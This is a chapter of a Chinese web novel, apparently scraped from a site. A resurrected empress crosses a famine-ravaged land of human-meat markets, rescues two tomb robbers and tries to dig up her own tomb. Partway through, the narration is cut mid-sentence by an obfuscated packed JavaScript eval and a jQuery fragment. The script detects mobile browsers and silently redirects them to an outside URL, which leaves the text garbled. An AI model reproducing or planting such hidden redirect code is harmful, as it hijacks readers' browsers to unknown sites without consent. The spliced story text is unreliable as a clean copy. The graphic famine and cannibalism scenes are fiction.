万幸,刘煌记得自己被埋在东樵山东南角梅林左。
万万不幸,刘煌低估了三十年的道路变迁。
别说三十年前的路,一年前的路都已改道。
自棺椁中爬出后,她筋疲力尽走了一个日夜,又被当菜人绑入锅中烹煮,侥幸摔下山崖得救安居于无名村寨,早已不知距离帝陵有多远。
找墓?怕是拿着寻龙尺乱撞运气的土夫子都比自己的机率大。
但听周遭村落的口音,想来此地距离帝陵也不算太远。只是三十年变迁,地上已是另一番景致,哪里看得出她登基时的模样?
刘煌有些后悔,刚从坟墓出来时自己无法身负重物,又急于下山填饱肚子,根本没带多少物什,以至于今时今日,她只能饥肠辘辘地看望着街上的烧饼摊解馋。
装烧饼的笼子安了木藤网,以防流民偷盗,又一个偷饼的孩子被网卡住五指,摊贩旋即将人绑在木桩。
滚烫的热汽从蒸笼旋出,炙烤着那张渴望吃食的脸,不过半刻,小贼的面浮起水肿,手却仍死死扒着木藤不肯放,藤身锋利,嵌进他黝黑的指肉,沁出鲜红。
刘煌一路走,一路看着周遭,企图从生疏的景色里窥见一点三十年前的余痕。
然而入眼最多的,是森森白骨。
以及水面飘来的木盆,里头偶尔会传来婴孩的哭声,没等刘煌赶过去微弱的哭声便静止了,四下柔和安宁。
取出木盆,婴孩的脸已僵紫。
刘煌与阿婴将婴孩埋在树下,用土做了襁褓,兜兜转转,在流浪了几个日月,前方终于出现一间寺庙,昏黄大门敞开,接纳着每一位疲行的子民。
庙中的神像眉眼熟悉,眼下双痣,温柔悲悯。
到头来,唯有在女帝的寺庙她们才得到了久违的安眠。
次日赶路,刘煌回望身后那座破败的神庙,初见觉得无用的神像此刻,竟变得慈悲。
阿婴说,大家的田地被占了,屋子也烧了,只能窝进女帝庙里,庙里好,庙里比州官府上舒服。
从前村里饿死人,有个小姊妹,不肯睡破庙,怕庙里的阿叔揩油,卖身进州官家里,头几年还会寄米粮给爹娘,后来被卖到了人市,再也没了下落。
“阿姊,吃人……吃人了……”阿婴蓦地缩起脖颈,瑟缩着不肯向前。
但见集市摆着一排笼子,笼子里关着面如菜色的人,有男有女,有老有少,挨挤在一团,用绳索绑缚着。
牙公打开笼子,迁出一列人,列在集市前展示,手脚勤快的、干净伶俐的、不知疼痛的。
一幕幕,宛如当日下锅,阿婴吓到胆骇。
“傻丫头,那不是在吃人。”老妪拍拍孙女的脑瓜。
刘煌拽紧掌中的小手,目不转睛望着这一幕:“阿婴。”
阿婴疑惑嗯了声。
“这就你说的人市。”
“可是……”小人吸了把鼻,忍不住抽噎,“可是长史家里有那么多的人,为何还要买人?”
女娃娃不懂,“不是说大家都没米吃,要吃人了吗?买那么多人,长史、长史会不会吃不饱?他会挨饿吗?”
车马扬鞭挥来,刘煌抱着阿婴躲闪,一众行人被驱至道旁,家丁打扮的人下了马,说府中小公子牙疼。
牙公徐徐踱步,一名与阿婴一般大的孩童被揪出,比划一二,瞬间掰掉了门牙。
小小的孩子血流满口,如同抽骨。
买卖良民处磔刑,断四肢,剖心肝——这是女帝刘煌在位时定的大律。
但,自愿卖身的,律法既然没写明,那便全当不算。老妪说,那些笼子里的人皆是“自愿”的。
贱籍不属于良民,故而卖贱籍也不算罪,死人不属于活人,故而更不算了。
人肉三文,猪肉一钱,人比猪便宜。
明令上自然是不许卖人,多年流变后,世人早已摸索出一条游走之道。
卖“自愿”的、卖躯体、卖一部分肉,总归不是卖人,怎能算犯禁?没有的事。
剁肉声从菜人市传来,悬挂钩子上的半条胳膊还沾着黑色的毳毛。
阿婴捂住耳,哭出了声。
夜半,梦魇的小人儿捧着单薄的双臂,一遍遍问刘煌,问阿嬷,“阿姊,我以后会不会也变成他们?”
“我不想、我不想被挂在钩子上。”
瘦小的人扑进刘煌怀中,她不习惯地想移开腹部的脑袋,但最终手停在了上空,化作一丝抚摸。
“不会的,我会带你们去一个地方,而后,找一个活法。”
老妪恻然,“是我们拖累了姑娘。”她实在太老,太老了。
“不!你们没有拖累我,是我……”刘煌欲言又止,“是我拖累了你们,是我没有做到很多的事、是我选错了……让你们重新跪了下去。”
望见神像前虔诚下跪的人群那一刻,没有人比她更希望自己真的是个神明,却也无人比她更深刻感受到,女帝刘煌,也是肉眼凡胎的人,会受伤,会死去。
那些流民是有求于己才会将头磕破,而她却没能还他们一个更好的天下,翩翩什么也做不了,眼睁睁见着乞求的子民跪废双腿。
因为她深知,不会有那么一个神明来实现他们的夙愿,能观世音的菩萨,世间就不存在过。
阿婴与老妪面面相觑。
“姑娘,千万别如此说,你为我们做的事够多了。”
衰迈的声音犹疑地开口,“若不是你阿婴早被沸水呛死了,你一路护着我们,可我老了,阿婴又小,是实在拖累了你。”
“我不是不愿意死,我就想着,留在你们身边万一哪日真没吃的了,那我……”
“我不吃人肉。”刘煌的眼神恢复神智,冷眸警告,老妪住了嘴。
“我要吃菜粥。”她不容置喙道。
昔年身居御座,一朝曾为天子,出口要的,却仅是一碗菜粥,一碗生前连端到自己面前都不配的菜粥。
前世宫廷钟鼓馔玉,仿若黄粱一梦,饱尝饥饿的滋味后,刘煌已记不起吃腻的佳肴的味道。
“可是此地没有菜粥。”老妪仿徨。
刘煌道:“所以请活下去,我要吃到你做的菜粥。”
老妪嗫嚅着唇,皲裂的枯手无措捏紧,“好、好。”
老妪再也不提死,跟着刘煌一路寻墓。
找墓很难,刘煌不是没考虑过投奔从前的旧部。
可自己生前为王朝留下的托孤大臣无一幸终,最后一名托孤大臣也于二十年前战死沙场,其余各路人马或死或隐,生死未卜。
盛世从来不是刘煌一人的功劳,是恰好出生在同一时代的有志之士一起扬起的风帆。
刘煌每晚听着老妪对阿婴讲女帝的传说入睡,故人的结局她已烂熟于心。
然而更多的人,传说并未留下他们的结局,他们一如沙砾,隐没深海。
她要去哪里找他们?
阿婴身上的烧时好时坏,刘煌不想折腾,眼下先边活下去,边寻自己的坟再说。
“阿姊,我们要到哪里去?”阿婴在刘煌背上咳嗽几声。
“去东樵山。”
“那是什么山?”
“一座药山,以前有个女娃娃,身子和你一样差,眼睛看不见,听人说死后葬在药山上下辈子能复明,便在山上种满了药草,你会在那里活得很好。”
“山上有鬼吗?阿姊,我怕鬼。”
“没有,不过有很多石头做的哥哥姊姊,他们见到你一定会很开心的。”
“石头做的?”阿婴红扑着脸嘿笑,“太好了,石头不吃人肉。”
刘煌被
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405546|184442||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她的笑意感染,忽然脚心一凉,连人带头深陷一个大土坑。
“姑娘!”
瞬息之间,她用尽力气将阿婴望头顶一抛,握住老妪伸来的手。
即将爬上,只听坑底传来哀嚎。
“郎君饶命!我们再也不敢!再也不敢摸金了!求郎君高台贵手放我兄弟二人出去吧!”
坑底有人!
刘煌低头,两个被捆得扎实的男人正鬼哭狼嚎,一副被吓破胆的模样。
“何人在此?”刘煌厉声。
听得是个女声,李家兄弟止哭。
“姑娘?三哥、是个姑娘!不是那劳什子煞鬼小白脸!”
“姑娘,我兄弟二人本是城中豆腐店伙计,奈何有位郎君,人面兽心!逼我二人为他发丘,落此境地!”老李头舔舔干裂的唇。
“既是他逼你们发丘,为何将你们困于此地?”
“那那那那小子想独吞!狼子野心,不守盗德!将我二人打晕自此多日,意图饿死!”
老李头脑破口大骂,小李郎哭喊:“姑娘开恩!救救我等吧!”
刘煌将信将疑,便问:“发的谁的丘?”
两人犹豫了,坑底一阵窃声窃语方再度传音:“发的是女帝刘煌!”
“……”
虽然私心很想将二人踹回坑底,但鉴于自己需要人带路寻墓,刘煌决定开次恩。
“我可以救你们,但不解你们身上的绳子,直到你们护送我安然无恙回城。”
她抓了跟藤,又用木板和石头做了个简易架子,拉出二人,见人刚一冒头,眼疾手快牵住捆着两人的绳尾。
李家兄弟磕头谢恩,连声答应。
刘煌转着手上的藤条:“我在朝廷和县衙也有些势力,二位最好不要妄动,若护我回城,我可以帮你们隐瞒,并且大大有赏。”
老李头心里骂娘,面上恭敬哈腰。
被年岁看起来比自己小不止一轮的女子训诫着实心堵,但她一副精明老练的做派,怎也不像这个年纪女子该有的。
李家兄弟不敢违抗,加上饿了好些天,早已前胸贴后背,只得老实为刘煌开路。
刘煌牵着藤绳,直往帝陵赶。
那是自己的归处,也是自己的来处。
暮野四合,月升乌沉,穿过一片泼墨竹林,熟悉的触觉与气息涌动滑过肤肌。
刘煌心下一坠。
是自己出坟时的山林——东樵山。
阿婴的药、自己的钱财有着落了!
事不宜迟,她寻到眼熟的草地采摘药草,叫老妪与阿婴现熬。
紧接着,双目雪亮如豹,盯向裸露的封土,抄起钉耙就是一耙。
一下、两下。
刘煌趁夜快快刨坟。
反正此地无人来。
“姑娘,要我说此墓早被盗了,不若先下山商议如何?”小李头饿得不行。
“姑娘轻些挖,此墓好歹是女帝刘煌的墓,总要给老祖宗……”
轰,山石簌簌滚落。
“……给老祖宗几分薄面。”
饶是盗墓多年的老李头也被刘煌惊到,墓里埋的好歹是女帝刘煌,眼前人的挖法凶狠异常,什么仇什么怨如此不给情面?
刘煌不予理会,“无须多礼,女帝不介意的。”
回家拿自己的东西怎能算盗?
她可是此山头号墓主!
刘煌高举钉耙,挺起腰杆就要锤落。
钉耙即将碰到墓砖的一瞬间,清风扫来,竹叶漫卷,一则强而有力的阻力陡然架住钉耙。
铮鸣嗡然。
硬生生挡下狠厉的一击,耳鸣在刘煌脑颅内叫嚣。
一道清秀通雅的身影拦在了她身前,眼眸冰冷,愠恚深然。
看她,如看死物。